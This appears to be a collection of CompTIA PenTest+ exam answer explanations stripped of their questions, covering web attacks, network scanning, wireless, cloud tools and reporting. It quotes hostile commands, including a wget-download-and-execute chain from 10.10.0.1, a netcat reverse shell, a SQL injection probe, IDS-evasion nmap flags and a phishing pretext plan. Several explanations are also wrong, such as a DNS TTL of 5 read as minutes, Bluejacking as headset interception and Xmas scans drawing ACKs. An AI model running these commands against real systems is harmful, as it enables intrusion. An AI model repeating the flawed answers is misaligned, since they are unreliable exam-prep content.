PT0-002 CompTIA PenTest+ Certification Exam Questions and Answers

A clickjacking vulnerability allows an attacker to trick a user into clicking on a hidden element on a web page, such as a login button or a link. A watering-hole attack is a technique where the attacker compromises a website that is frequently visited by the target users, and injects malicious code or content into the website. The attacker can then use the clickjacking vulnerability to redirect the users to a malicious website or perform unauthorized actions on their behalf.

A. Perform XSS. This is incorrect. XSS (cross-site scripting) is a vulnerability where an attacker injects malicious scripts into a web page that are executed by the browser of the victim. XSS can be used to steal cookies, session tokens, or other sensitive information, but it is not directly related to clickjacking.

C. Use BeEF. This is incorrect. BeEF (Browser Exploitation Framework) is a tool that allows an attacker to exploit various browser vulnerabilities and take control of the browser of the victim. BeEF can be used to launch clickjacking attacks, but it is not the only way to do so.

D. Use browser autopwn. This is incorrect. Browser autopwn is a feature of Metasploit that automatically exploits browser vulnerabilities and delivers a payload to the victim’s system. Browser autopwn can be used to compromise the browser of the victim, but it is not directly related to clickjacking.

References:

1: OWASP Foundation, “Clickjacking”, https://owasp.org/www-community/attacks/Clickjacking

2: PortSwigger, “What is clickjacking? Tutorial & Examples”, https://portswigger.net/web-security/clickjacking

4: Akto, “Clickjacking: Understanding vulnerability, attacks and prevention”, https://www.akto.io/blog/clickjacking-understanding-vulnerability-attacks-and-prevention

The ping –A command sends an ICMP echo request with a specified TTL value and displays the response. The TTL value indicates how many hops the packet can traverse before being discarded. Different OSs have different default TTL values for their packets. Windows uses 128, Apple uses 64, Linux uses 64 or 255, and Android uses 64. Therefore, a packet with a TTL of 128 is most likely from a Windows OS.

Since it doesn't indicate company owned devices, sending a text to download an application is best. And it says social-engineering so a spoofed text falls under that area.

The script will perform a port scan on the target IP address, looking for open ports on a list of common ports. A port scan is a technique that probes a network or a system for open ports, which can reveal potential vulnerabilities or services running on the host.

Encoding (commonly called “Output Encoding”) involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example translating the < character into the < string when writing to an HTML page.

Output encoding and input validation are two of the best methods to prevent against this type of attack, which is known as cross-site scripting (XSS). Output encoding is a technique that converts user-supplied input into a safe format that prevents malicious scripts from being executed by browsers or applications. Input validation is a technique that checks user-supplied input against a set of rules or filters that reject any invalid or malicious data. Web-application firewall is a device or software that monitors and blocks web traffic based on predefined rules or signatures, but it may not catch all XSS attacks. Parameterized queries are a technique that separates user input from SQL statements to prevent SQL injection attacks, but they do not prevent XSS attacks. Session tokens are values that are used to maintain state and identify users across web requests, but they do not prevent XSS attacks. Base64 encoding is a technique that converts binary data into ASCII characters for transmission or storage purposes, but it does not prevent XSS attacks.

Bluesnarfing is the unauthorized access of information from a wireless device through a Bluetooth connection, often between phones, desktops, laptops, and PDAs. This allows access to calendars, contact lists, emails and text messages, and on some phones, users can copy pictures and private videos.

Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to define policies to enable a well managed cloud infrastructure, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.

Cloud Custodian is a tool that can be used to manage public cloud accounts and resources. Cloud Custodian can define policies and rules for cloud resources based on various criteria, such as tags, filters, actions, modes, or schedules. Cloud Custodian can enforce compliance, governance, security, cost optimization, and operational efficiency for cloud resources. Cloud Custodian supports multiple public cloud providers, such as AWS, Azure, GCP, and Kubernetes. Cloud Brute is a tool that can be used to enumerate cloud platforms and discover hidden files and buckets. Pacu is a tool that can be used to exploit AWS environments and perform post-exploitation actions. Scout Suite is a tool that can be used to audit cloud environments and identify security issues.

This command will scan the host 192.168.1.20 on port 80 using the following options:

-A: This option enables OS detection, version detection, script scanning, and traceroute. This will help to determine if the host is running an approved version of Linux and a patched version of Apache, as well as other information about the host and the network path.

-T4: This option sets the timing template to aggressive, which speeds up the scan by increasing the number of parallel probes, reducing the timeouts, and assuming faster responses.

-p80: This option specifies the port to scan, which is 80 in this case. Port 80 is commonly used for HTTP services, such as Apache web server.

Password spraying is a type of password guessing attack that involves trying one or a few common passwords against many usernames or accounts. Password spraying can avoid account lockout policies that limit the number of failed login attempts per account by spreading out the attempts over time and across different accounts. Password spraying can also increase the chances of success by using passwords that are likely to be used by many users, such as default passwords, seasonal passwords, or company names. Mask is a type of password cracking attack that involves using a mask or a pattern to generate passwords based on known or guessed characteristics of the password, such as length, case, or symbols. Rainbow is a technique of storing precomputed hashes of passwords in a table that can be used to quickly crack passwords by looking up the hashes. Dictionary is a type of password cracking attack that involves using a wordlist or a dictionary of common or likely passwords to try against an account.

since vlan hopping requires 2 vlans to be nested in a single packet. Double tagging occurs when an attacker adds and modifies tags on an Ethernet frame to allow the sending of packets through any VLAN. This attack takes advantage of how many switches process tags. Most switches will only remove the outer tag and forward the frame to all native VLAN ports. With that said, this exploit is only successful if the attacker belongs to the native VLAN of the trunk link. https://cybersecurity.att.com/blogs/security-essentials/vlan-hopping-and-mitigation

Tag nesting is a technique that involves inserting two VLAN tags into an Ethernet frame to bypass VLAN hopping prevention mechanisms. The first tag is stripped by the first switch, and the second tag is processed by the second switch, allowing the frame to reach a different VLAN than intended. RFID cloning is a technique that involves copying the data from an RFID tag to another tag or device. RFID tagging is a technique that involves attaching an RFID tag to an object or person for identification or tracking purposes. Meta tagging is a technique that involves adding metadata to web pages or files for search engine optimization or classification purposes.

The error message "Unclosed quotation mark after the character string Incorrect syntax near '." suggests that the application is vulnerable to SQL Injection (A). This type of vulnerability occurs when an attacker is able to inject malicious SQL queries into an application's database query. The error message indicates that the application's input handling allows for the manipulation of the underlying SQL queries, which can lead to unauthorized data access, data modification, and other database-related attacks.

1. Reflected XSS - Input sanitization (<> ...)

2. Sql Injection Stacked - Parameterized Queries

3. DOM XSS - Input Sanitization (<> ...)

4. Local File Inclusion - sandbox req

5. Command Injection - sandbox req

6. SQLi union - paramtrized queries

7. SQLi error - paramtrized queries

8. Remote File Inclusion - sandbox

9. Command Injection - input saniti $

10. URL redirect - prevent external calls

The key findings indicate that the network device is vulnerable to several attacks, such as sniffing, brute-forcing, or exploiting the SSH daemon. To prevent these attacks, the best recommendations are to create an out-of-band network for management, which means a separate network that is not accessible from the production network, and to implement a better method for authentication, such as SSH keys or certificates. The other options are not as effective or relevant.

The penetration testers should carry copies of the engagement documents with them as proof in case they are discovered by security guards, employees, or law enforcement officials. The engagement documents should include the scope, objectives, authorization, and contact information of the penetration testing team and the client. This will help avoid any legal or ethical issues that may arise from trespassing, breaking and entering, or unauthorized access. The other options are not valid reasons for carrying the engagement documents with them.

Deconflicting with the penetration tester is the best thing to do next after the security alarms are triggered during a penetration test, as it will help determine whether the alarm was caused by the tester’s activity or by an actual threat. Deconflicting is the process of communicating and coordinating with other parties involved in a penetration testing engagement, such as security teams, network administrators, or emergency contacts, to avoid confusion or interference.

If the employee already works in the accounting department, MFA will not stop their actions because they'll already have access by virtue of their job.

Enforcing mandatory employee vacations is the best recommendation to prevent this type of activity in the future, as it will make it harder for an employee to conceal fraudulent transactions or unauthorized changes to a payment system. Mandatory employee vacations are a form of internal control that requires employees to take time off from work periodically and have their duties performed by someone else. This can help detect errors, irregularities, or frauds committed by employees who might otherwise have exclusive access or control over certain processes or systems.

Concatenation is the term used to describe the process of appending string values onto another string. In Python, concatenation can be done using the + operator, such as “Hello” + “World” = "HelloWorld"4.

The user-supplied data www.comptia.com/info.php?id=1 AND 1=1 is indicative of a Boolean-based SQL injection attack. In this attack, the attacker manipulates a SQL query by inserting additional SQL logic that will always evaluate to true (in this case, AND 1=1) to gain unauthorized access to database information. This type of attack exploits improper input validation in web applications to manipulate database queries. The other attack techniques listed (Time-based SQL injection, Stored cross-site scripting, Reflected cross-site scripting) involve different methodologies and are not demonstrated by the given user-supplied data.

The gateway for the network (192.168.1.1) is at 0a:d1:fa:b1:01:67, and then, another machine (192.168.1.136) also claims to be on the same MAC address. With this on the same network, intermittent connectivity will be inevitable as along as the gateway remains unreachable on the IP known by the others machines on the network, and given that the new machine claiming to be the gateway has not been configured to route traffic.

The output shows an ARP table that contains entries for IP addresses and their corresponding MAC addresses on a local network interface (en0). ARP stands for Address Resolution Protocol and is used to map IP addresses to MAC addresses on a network. However, one entry in the table is suspicious:

? (192.168.1.136) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]

This entry has the same MAC address as another entry:

? (192.168.1.1) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]

This indicates that a device on the network has poisoned the ARP cache by sending false ARP replies that associate its MAC address with multiple IP addresses, including 192.168.1.136 and 192.168.1.1 (which is likely the gateway address). This allows the device to intercept or redirect traffic intended for those IP addresses.

All other answers are a form of encryption or randomizing the data.

The element /about is most likely to contain useful information for the penetration tester, as it may reveal details about the website’s owner, purpose, history, contact information, etc. This information can be used for further reconnaissance, social engineering, or identifying potential vulnerabilities.

PLCs are programmable logic controllers that execute logic operations on input signals from sensors and output signals to actuators. They are often connected to supervisory systems that provide human-machine interfaces and data acquisition functions. If both systems are connected to the company intranet, they are exposed to potential attacks from internal or external adversaries. A valid assumption is that controllers will not validate the origin of commands, meaning that an attacker can send malicious commands to manipulate or sabotage the industrial process. The other assumptions are not valid because they contradict the facts or common practices.

The systems administrator and the technical stuff would be more interested in the technical aspect of the findings

Immunity Debugger is a tool that can be used to deconstruct 64-bit Windows binaries and see the underlying code. Immunity Debugger is a powerful debugger that integrates with Python and allows users to write their own scripts and plugins. It can be used for reverse engineering, malware analysis, vulnerability research, and exploit development

According to the CompTIA PenTest+ Study Guide, Exam PT0-0021, a statement of work (SOW) is a document that defines the scope, objectives, deliverables, and terms of a penetration testing project. It is a formal agreement between the service provider and the client that specifies what is expected from both parties, including the timeline, budget, resources, and responsibilities. A SOW is essential for any penetration testing engagement, as it helps to avoid misunderstandings, conflicts, and legal issues.

The CompTIA PenTest+ Study Guide also provides an example of a SOW template that covers the following sections1:

Project overview: A brief summary of the project’s purpose, scope, objectives, and deliverables.

Project scope: A detailed description of the target system, network, or application that will be tested, including the boundaries, exclusions, and assumptions.

Project objectives: A clear statement of the expected outcomes and benefits of the project, such as identifying vulnerabilities, improving security posture, or complying with regulations.

Project deliverables: A list of the tangible products or services that will be provided by the service provider to the client, such as reports, recommendations, or remediation plans.

Project timeline: A schedule of the project’s milestones and deadlines, such as kickoff meeting, testing phase, reporting phase, or closure meeting.

Project budget: A breakdown of the project’s costs and expenses, such as labor hours, travel expenses, tools, or licenses.

Project resources: A specification of the project’s human and technical resources, such as team members, roles, responsibilities, skills, or equipment.

Project terms and conditions: A statement of the project’s legal and contractual aspects, such as confidentiality, liability, warranty, or dispute resolution.

The CompTIA PenTest+ Study Guide also explains why having a SOW is important before starting an assessment1:

It establishes a clear and mutual understanding of the project’s scope and expectations between the service provider and the client.

It provides a basis for measuring the project’s progress and performance against the agreed-upon objectives and deliverables.

It protects both parties from potential risks or disputes that may arise during or after the project.

The nmap –f --badsum 192.168.1.10 command is most likely to avoid detection by the client’s IDS, as it will use two techniques to evade IDS signatures or filters. The –f option will fragment the IP packets into smaller pieces that might bypass some IDS rules or firewalls. The --badsum option will use an invalid checksum in the TCP or UDP header that might cause some IDS systems to ignore the packets.

Integrating security scanning in the CI/CD pipeline ensures that vulnerabilities are detected and addressed during the development process, reducing the accumulation of issues over time. This aligns with CompTIA Pentest+ objectives related to secure software development and DevSecOps principles.

Active scanning is the process of sending probes or packets to a target system or network and analyzing the responses to gather information or identify vulnerabilities. Active scanning can be intrusive and disruptive, especially in an ICS environment, where availability and reliability are critical. Active scanning can cause unintended consequences, such as triggering alarms, shutting down devices, or affecting physical processes. Therefore, active scanning is the most likely to cause harm to an ICS environment among the given options. References:

•The Official CompTIA PenTest+ Study Guide (Exam PT0-002), Chapter 2: Conducting Passive Reconnaissance, page 72-73.

•The Official CompTIA PenTest+ Student Guide (Exam PT0-002) eBook1, Chapter 2: Conducting Passive Reconnaissance, page 2-20.

•Risk Assessment Standards for ICS Environments2, page 8.

A penetration tester should most likely include metrics and measures in a report at the end of an assessment. Metrics and measures provide quantitative data that helps in understanding the extent and impact of vulnerabilities found during the assessment. They offer a clear and objective way to convey the results and the effectiveness of the security controls in place. This data-driven approach aids in prioritizing remediation efforts, benchmarking against industry standards, and demonstrating improvements over time.

References:

OWASP Penetration Testing Methodologies

NIST SP 800-115 - Technical Guide to Information Security Testing and Assessment

Directional antennas can limit the signal range to reduce unauthorized access from outside the building. Other options, such as WEP, are outdated and insecure, and stopping SSID broadcast does not prevent network access. This aligns with CompTIA Pentest+ objectives under wireless security and hardening techniques.

The output provided indicates the use of the NTP protocol (Network Time Protocol) for querying a target system. The reference to "Public Clients" and the specific IP addresses listed, along with the mention of "Other Associations" and the use of NTP version 2, points towards the execution of an NTP monlist request. The monlist feature in NTP servers can be used to obtain a list of the last 600 hosts that have interacted with the NTP server. The command nmap -sU -pU:123 -Pn -n —script=ntp-monlist <target> specifically targets NTP servers on UDP port 123 to retrieve this information, making it the correct choice based on the output shown.

The nmap command with the —script=s7-info is specifically designed to interact with Siemens S7 PLCs, which are common industrial control systems. The -p 102 specifies the port associated with Siemens S7 communications. The -T3 timing option is chosen to minimize the risk of impacting the PLCs by not being overly aggressive in the scan timing, which is important in operational technology environments where PLCs can be sensitive to high network traffic. The other options listed do not specifically target PLC devices or use appropriate timing to minimize risk.

The output of the fuzzing tool shows that the admin, test, and db directories have the same size, words, and lines as the login page, which indicates that they are redirecting to the login page. This means that the tester cannot access these directories without valid credentials. The server-status page returns a 403 Forbidden status code, which means that the tester does not have permission to access it. The robots.txt file returns a 404 Not Found status code, which means that the file does not exist on the server. References:

•The Official CompTIA PenTest+ Study Guide (Exam PT0-002), Chapter 2: Conducting Passive Reconnaissance, page 77-78.

•101 Labs — CompTIA PenTest+: Hands-on Labs for the PT0-002 Exam, Lab 2.3: Fuzzing Web Applications, page 69-70.

The output of the DNS query shows the TTL (Time to Live) value for the company.com record as 5. This means that the DNS record can be cached for five minutes before it needs to be refreshed from the authoritative DNS server. The TTL value indicates how long a DNS resolver is allowed to cache the query before it must query the authoritative server again.

References:

Understanding DNS TTL values: DNS TTL

Interpretation of DNS dig output from various penetration testing engagements: Horizontall​​.

The presence of specific services like SSH, NTP, Rsync, and LDAP servers is indicative of a Unix-like operating system. Among the given options, FreeBSD is the most likely operating system that would be running all these services. FreeBSD is known for its robustness and extensive use in environments requiring stable and secure networking services.

Given the context of penetration testing and the enumeration of these services, FreeBSD's configuration and service management fit well with the identified services. Other operating systems listed (Mac OS X, Microsoft Windows, Linux) might not typically run all these services in a similar configuration, particularly NTP and Rsync, which are more common in Unix-like systems.

References:

FreeBSD documentation on NTP and Rsync: FreeBSD Handbook, FreeBSD Rsync

Enumeration examples from HTB writeups such as Gobox and Writeup which often lead to identifying specific OS based on running services​​​​.

Prioritizing findings in a penetration test report should align with the business mission and goals. Understanding the business context allows a penetration tester to assess the impact of vulnerabilities in relation to the organization's critical functions and assets. This approach ensures that recommendations are not only technically sound but also relevant and actionable within the business's strategic framework. Options B, C, and D (Cyberassets, Network infrastructure, and Cyberthreats) are important factors but should be considered within the context of how they affect the business's mission and goals.

Nessus is a comprehensive vulnerability assessment tool that is widely used for conducting vulnerability assessments. It is known for its ability to generate detailed and easy-to-read reports, which makes it a preferred choice for security consultants who need to document their findings clearly.

Nessus scans for a wide range of vulnerabilities across different systems and applications. It provides a detailed report that includes the vulnerabilities found, their severity levels, and recommendations for remediation. This feature makes it ideal for security consultants who need to perform vulnerability assessments and present their findings to stakeholders in an understandable format.

References:

Nessus product page: Tenable Nessus

Use of Nessus in penetration testing reports: The reports generated by Nessus have been referenced in various HTB writeups such as those for Luke and Horizontall​​​​.

In the scenario where users are mistyping the name of a fileshare server, leading to broadcast requests, the most effective exploitation strategy would be for the penetration tester to respond to these requests with their own IP address (D) and set up a service to capture authentication credentials. This technique is known as a "Man-in-the-Middle" (MitM) attack, where the attacker intercepts communication between two parties. In this case, the tester can exploit the misdirected requests to potentially capture sensitive information such as usernames and passwords.

Netcat is a versatile networking utility which reads and writes data across network connections, using the TCP/IP protocol. It's included in many Linux distributions and is available for Windows as well. Since the requirement is to use only local operating system tools for file transfer, Netcat is a suitable option because it can easily be scripted or used directly from the command line to send and receive files, making it a powerful tool for file transfers in a penetration testing context. Options B and C, WinSCP and Filezilla, are not typically considered local operating system tools as they are third-party applications that need to be installed. Option D, Netstat, is a network utility that displays network connections, routing tables, and a number of network interface and network protocol statistics, and is not used for file transfers.

The presence of plaintext strings that can be used to move laterally across the network suggests that passwords or sensitive tokens are stored insecurely. Implementing a password management solution would help mitigate this issue by ensuring that passwords are stored securely and are not exposed in plaintext. Password managers typically use strong encryption to protect stored credentials and provide secure access to them.

Sanitizing user input, rotating keys, and utilizing certificate management address different aspects of security but do not directly resolve the issue of insecure password storage.

References:

Importance of password management: NIST Password Guidelines

Examples of security breaches due to poor password management practices: Forge​​.

The risk present in an organization using Android mobile devices without Mobile Device Management (MDM) services is that unsigned applications can be installed. Without MDM, there are fewer controls over the installation of applications, which increases the risk of installing malicious or unauthorized applications. MDM services typically provide a way to enforce application signing policies, preventing the installation of unsigned apps.

References:

OWASP Mobile Security Project

NIST Mobile Device Management Guide

Impersonation attacks involve the penetration tester assuming the identity of a valid user to gain unauthorized access to systems or information. This method is particularly effective for gathering valid user credentials, as it can involve tactics such as phishing, social engineering, or exploiting weak authentication processes. The other options, such as Wardriving, Captive portal, and Deauthentication, are more focused on wireless network vulnerabilities and are less direct in obtaining user credentials.

The Rules of Engagement (ROE) document specifies the scope, boundaries, and procedures of a penetration test, ensuring alignment with the client's security policies. This relates to CompTIA Pentest+ objectives on pre-engagement and scoping activities.

An application security assessment report aimed at developers typically includes information critical to understanding and improving the security and stability of the application. Poor input sanitization and null pointer dereferences are two such issues that are directly related to application security and can lead to significant vulnerabilities such as injection attacks or crashes. Poor input sanitization exposes the application to various forms of injection attacks, where an attacker could supply malicious input to gain unauthorized access or disrupt application services. Null pointer dereferences, on the other hand, can lead to application crashes or unexpected behavior, which can be exploited to compromise application security or availability. Highlighting these issues helps developers focus on areas that need immediate attention to enhance the application's security posture.

The exploit code is a command injection attack that uses a vulnerable CGI script to execute arbitrary commands on the target system. The commands are:

cd /tmp: change the current directory to /tmp

wget http://10.10.0.1/apache: download a file named apache from http://10.10.0.1

chmod 777 apache: change the permissions of the file to allow read, write, and execute for everyone

./apache: run the file as an executable

The file apache is most likely a malicious payload that gives the attacker remote access to the system or performs some other malicious action. Therefore, the penetration tester should run the command rm -rf /tmp/apache post-engagement to remove the file and its traces from the system. The other commands are not effective or relevant for this purpose.

A BLE (Bluetooth Low Energy) attack is specifically designed to exploit vulnerabilities in the Bluetooth Low Energy protocol, which is commonly used in modern wireless devices, including key fobs for electric vehicles. This type of attack can allow a penetration tester to intercept, manipulate, or take control of the communication between the key fob and the vehicle. Bluejacking and Bluesnarfing are older Bluetooth attacks that are less effective against modern BLE implementations. WPS PIN attacks target Wi-Fi Protected Setup, which is unrelated to key fobs and electric vehicles.

SQLmap is specifically designed for detecting and exploiting SQL injection vulnerabilities. For a database server penetration test, it automates the process of identifying vulnerabilities in SQL queries and helps in database enumeration. This corresponds to the CompTIA Pentest+ objective on identifying vulnerabilities in application security.

Scout Suite is an open-source multi-cloud security-auditing tool that enables security posture assessment of cloud environments. It is designed to provide a comprehensive and accurate analysis of cloud assets by using the APIs of cloud service providers. Scout Suite supports major cloud platforms, including AWS, Azure, and GCP, making it suitable for performing cloud asset discovery.

Other tools listed, such as Pacu, Shodan, and TruffleHog, serve different purposes. Pacu is a cloud exploitation framework for AWS, Shodan is a search engine for internet-connected devices, and TruffleHog is a tool for searching for secrets in files. While they are valuable tools, Scout Suite is specifically tailored for comprehensive cloud asset discovery.

References:

Scout Suite GitHub page: Scout Suite

Cloud security auditing examples from penetration testing reports and best practices​​​​.

Client acceptance (A) is a critical post-report delivery activity that involves the client formally accepting the findings and conclusions of a penetration assessment report. This process usually includes a review of the findings by the client, discussions about the impact, and agreement on the accuracy and relevance of the reported vulnerabilities and issues. Ensuring client acceptance soon after the delivery of the report can prevent scenarios where the validity of findings is debated long after the assessment, as in the case described.

Data destruction process (B), attestation of findings (C), and lessons learned (D) are also important aspects of a penetration testing engagement, but they do not directly address the issue of the client disputing the findings well after the report has been delivered. Client acceptance ensures both parties are in agreement on the outcomes of the assessment, minimizing disputes about the findings later on.

When calculating the price of a penetration test service for a client, the most important aspect to consider is the required scope of work 1. The scope of work defines the objectives of the penetration test and the systems that will be tested. It is important to understand the scope of work to determine the resources required to complete the test and the time it will take to complete the test 2.

References: 2: CompTIA. (2021). CompTIA PenTest+ Certification Exam Objectives. Retrieved from https://www.comptia.org /content/dam/comptia/documents/certifications/Exam%20Objectives/CompTIA-PenTest%2B%20Exam%20Objectives%20PT0-002.pdf 1: O’Brien, D. (2021). The Official CompTIA PenTest+ Study Guide (Exam PT0-002). John Wiley & Sons.

When additional data is returned in the API response that is not displayed in the web user interface, it indicates that there might be sensitive data being transmitted that is not intended for user display. By comparing the fields returned in the API response to those that are visible in the GUI, a penetration tester can identify any Personally Identifiable Information (PII) or other sensitive data that might be exposed unintentionally. This method is direct and does not involve attacking the system but rather analyzing the data being transmitted. The other options do not directly address the identification of sensitive data in API responses.

Rules of engagement (ROE) is a document that outlines the specific guidelines and limitations of a penetration test engagement. The document is agreed upon by both the penetration testing team and the client and sets expectations for how the test will be conducted, what systems are in scope, what types of attacks are allowed, and any other parameters that need to be defined. ROE helps to ensure that the engagement is conducted safely, ethically, and with minimal disruption to the client's operations.

To intercept the communications between an employee's wireless headset and smartphone, the penetration tester would likely use "Bluejacking" (B). Bluejacking involves sending unsolicited messages to Bluetooth-enabled devices, but in the context of penetration testing and security, it can also encompass techniques for intercepting or hijacking Bluetooth connections. This could allow the tester to eavesdrop on communications or even take control of the headset.

When a penetration tester notices several target hosts appearing to be residential connections associated with a major television and ISP, it's likely that the IP ranges initially assigned to the target organization have changed ownership and are now allocated to the ISP for residential use. This can happen due to reallocation of IP addresses by regional internet registries. Misconfiguration of the scanner (option A), malfunctioning of scanning tools (option B), or firewall blocking (option D) would not typically result in the discovery of residential connections in place of expected organizational targets.

A DNS poisoning attack is an attack that exploits a vulnerability in the DNS protocol or system to redirect traffic from legitimate websites to malicious ones. A DNS poisoning attack works by injecting false DNS records into a DNS server or resolver’s cache, which is a temporary storage of DNS information. However, if the DNS cache was not refreshed, then the attack would fail, as the target machine would still use the old and valid DNS records from its cache. The other options are not likely causes of the attack failure.

HaveIBeenPwned is a website that allows users to check if their personal data has been compromised by data breaches. For a penetration tester preparing a credential stuffing attack, HaveIBeenPwned can provide valuable information about which accounts and passwords have been exposed, making them more likely targets for successful credential stuffing. This passive information gathering tool can help in identifying the most relevant credentials without actively probing the target's systems. The other tools listed (Shodan, BeEF, Maltego) serve different purposes, such as device and service enumeration, client-side exploitation, and information gathering through different means, respectively.

To limit observation of the penetration tester’s activities and lower the probability of detection by intrusion protection and detection systems, the security analyst should use the Nmap -D 10.5.2.2 192.168.3.3 command 1. The -D option is used to conceal the identity of the attacker by using decoy IP addresses. This option can be used to confuse the IDS/IPS and lower the probability of detection 1.

References: 1: CompTIA. (2021). CompTIA PenTest+ Certification Exam Objectives. Retrieved from https://www.comptia.org/content/dam/comptia/documents/certifications/Exam%20Objectives/CompTIA-PenTest%2B%20Exam%20Objectives%20PT0- 002.pdf

The nmap command with the -p- flag scans all ports from 1 to 65535 on the target host. The -A flag enables OS detection, version detection, script scanning, and traceroute. Therefore, the command will scan 65,535 ports on the host 10.0.1.10 and perform additional analysis on the open ports. References:

•The Official CompTIA PenTest+ Study Guide (Exam PT0-002), Chapter 2: Conducting Passive Reconnaissance, page 72-73.

•Nmap Cheat Sheet 2024: All the Commands & Flags - StationX1

•Nmap Commands - 17 Basic Commands for Linux Network - phoenixNAP2

When a firewall is blocking outbound traffic, a penetration tester can attempt to use a reverse shell to obtain an interactive shell on the remote host. The command nc -e host 8443 /bin/bash uses Netcat to create a reverse shell, connecting back to the attacker's machine on port 8443 and executing /bin/bash.

This command assumes that outbound traffic is allowed on the specified port (8443) and that Netcat is available on the target system. It effectively bypasses the firewall's restrictions by initiating the connection from the inside.

References:

Explanation of reverse shell techniques: Pentestmonkey Reverse Shell Cheat Sheet

Practical examples from penetration testing scenarios: Horizontall​​.

After performing a web penetration test, using the OWASP (Open Web Application Security Project) standards or methodologies would be the best choice for ranking the findings by criticality. OWASP is renowned for its comprehensive documentation and guidelines on web application security, including the well-known OWASP Top 10 list, which outlines the ten most critical web application security risks. This makes it an ideal reference for categorizing and prioritizing vulnerabilities discovered during a web penetration test.

While MITRE ATT&CK, PTES (Penetration Testing Execution Standard), and NIST (National Institute of Standards and Technology) provide valuable frameworks and methodologies for cybersecurity, OWASP's focus on web applications specifically makes it the most suitable for this context.

The presence of files such as mimikatz.exe, mimidrv.sys, and mimilib.dll on a target server indicates prior compromise. Mimikatz is a well-known post-exploitation tool used for extracting plaintext passwords, hash dumps, PIN codes, and Kerberos tickets from memory. These files suggest that an attacker has previously gained access to the system and used Mimikatz for credential harvesting. This is a strong indicator of a prior security breach rather than tools used for password encryption or false positives.

References:

Mimikatz Usage and Detection

Understanding Indicators of Compromise

The most effective way for the tester to achieve this objective is to send a pretext email from the IT department before sending the download instructions later. A pretext email is an email that uses deception or impersonation to trick users into believing that it is from a legitimate source or authority, such as the IT department. A pretext email can be used to establish trust or rapport with the users, and then persuade them to perform an action or provide information that benefits the attacker. In this case, the tester can send a pretext email from the IT department that informs users about an important update or maintenance task that requires them to download and run an executable file later. The tester can then send another email with the download instructions and attach or link to the malicious executable file. The users may be more likely to follow these instructions if they have received a prior email from the IT department that prepared them for this action. The other options are not as effective ways for the tester to achieve this objective. Dropping USB flash drives around the company campus with the file on it may not reach many users, as they may not find or pick up the USB flash drives, or they may be suspicious of their origin or content.

The penetration tester is using a type of injection attack called stacked queries, which means appending multiple SQL statements separated by semicolons in a single input field. This can allow the penetration tester to execute arbitrary SQL commands on the database server, such as selecting username and password from users table.

https://redteam.guide/docs/definitions/

Deconfliction is the process of coordinating activities and communicating information to avoid interference, confusion, or conflict among different parties involved in an operation. The network engineer contacted the penetration tester to check if the GET requests were part of the test, and to avoid any potential misunderstanding or disruption of the test or the website. The other options are not related to the purpose of checking with the penetration tester.

Based on these results, the most likely attack to succeed is a Heartbleed attack. The Heartbleed attack is a vulnerability in the OpenSSL implementation of the TLS/SSL protocol that allows an attacker to read the memory of the server and potentially steal sensitive information, such as private keys, passwords, or session tokens. The results show that the website is using OpenSSL 1.0.1f, which is vulnerable to the Heartbleed attack1.

The best explanation for why the tester was able to gain access to the storage object within the cloud environment using the on-premises credentials is federation misconfiguration of the container. Federation is a process that allows users to access multiple systems or services with a single set of credentials, by using a trusted third-party service that authenticates and authorizes the users. Federation can enable seamless integration between cloud and on-premises environments, but it can also introduce security risks if not configured properly. Federation misconfiguration of the container can allow an attacker to access the storage object with the on-premises credentials, if the container trusts the on-premises identity provider without verifying its identity or scope. The other options are not valid explanations for why the tester was able to gain access to the storage object within the cloud environment using the on-premises credentials. Key mismanagement between the environments is not relevant to this issue, as it refers to a different scenario involving encryption keys or access keys that are used to protect or access data or resources in cloud or on-premises environments. IaaS failure at the provider is not relevant to this issue, as it refers to a different scenario involving infrastructure as a service (IaaS), which is a cloud service model that provides virtualized computing resources over the internet. Container listed in the public domain is not relevant to this issue, as it refers to a different scenario involving container visibility or accessibility from public networks or users.

When a web application firewall (WAF) is blocking most of the attacks, a direct-to-origin attack is likely to succeed. A direct-to-origin attack targets the backend servers directly, bypassing the WAF. This type of attack exploits any functionality that allows direct access to the origin servers (backend servers) without passing through the WAF. Techniques such as manipulating DNS, exploiting misconfigurations, or using direct IP access can be employed to bypass the WAF, making direct-to-origin attacks effective under these circumstances.

References:

OWASP WAF Bypass Techniques

Imperva - What is a WAF? Web Application Firewall

 If a penetration tester was able to access the organization’s wireless network from outside of the building using Aircrack-ng, then it means that the wireless network was not secured with strong encryption or authentication methods. Aircrack-ng is a tool that can crack weak wireless encryption schemes such as WEP or WPA-PSK using various techniques such as packet capture, injection, replay, and brute force. To remediate this issue, the client should change to Wi-Fi equipment that supports strong encryption such as WPA2 or WPA3, which are more resistant to cracking attacks. Using directional antennae may reduce the signal range of the wireless network, but it would not prevent an attacker who is within range from cracking the encryption. Using WEP encryption is not a good recommendation, as WEP is known to be insecure and vulnerable to Aircrack-ng attacks. Disabling Wi-Fi may eliminate the risk of wireless attacks, but it would also eliminate the benefits of wireless connectivity for the organization.

The Nmap command uses the Xmas scan technique, which sends packets with the FIN, PSH, and URG flags set. This is an attempt to bypass firewall rules and elicit a response from open ports. However, if the target responds with an RST packet, it means that the port is closed. Open ports will either ignore the Xmas scan packets or send back an ACK packet. Therefore, the information most likely indicates that all of the ports in the target range are closed. References: [Nmap Scan Types], [Nmap Port Scanning Techniques], [CompTIA PenTest+ Study Guide: Exam PT0-002, Chapter 4: Conducting Passive Reconnaissance, page 127]

The term that is used to describe the common log-in code example is library, which is a collection of reusable code or functions that can be imported or called by other programs or scripts. A library can help simplify or modularize the code development process by providing common or frequently used functionality that can be shared across different programs or scripts. In this case, the penetration tester develops a library of code to perform the log-in that can be imported or called by each of the exploits targeted to a specific version of the software package. The other options are not valid terms that describe the common log-in code example. Conditional is a programming construct that executes a block of code based on a logical condition or expression, such as if-else statements. Dictionary is a data structure that stores key-value pairs, where each key is associated with a value, such as a Python dictionary. Sub application is not a standard programming term, but it may refer to an application that runs within another application, such as a web application.

Scraping social media for personal details can help a penetration tester craft personalized and convincing social engineering attacks against top-level executives, who may share sensitive or confidential information on their profiles. Registering domain names that are similar to the target company’s can be used for phishing or typosquatting attacks, but not specifically against executives. Identifying technical contacts at the company can help with reconnaissance, but not with social engineering. Crawling the company’s website for company information can provide general background knowledge, but not specific details about executives.

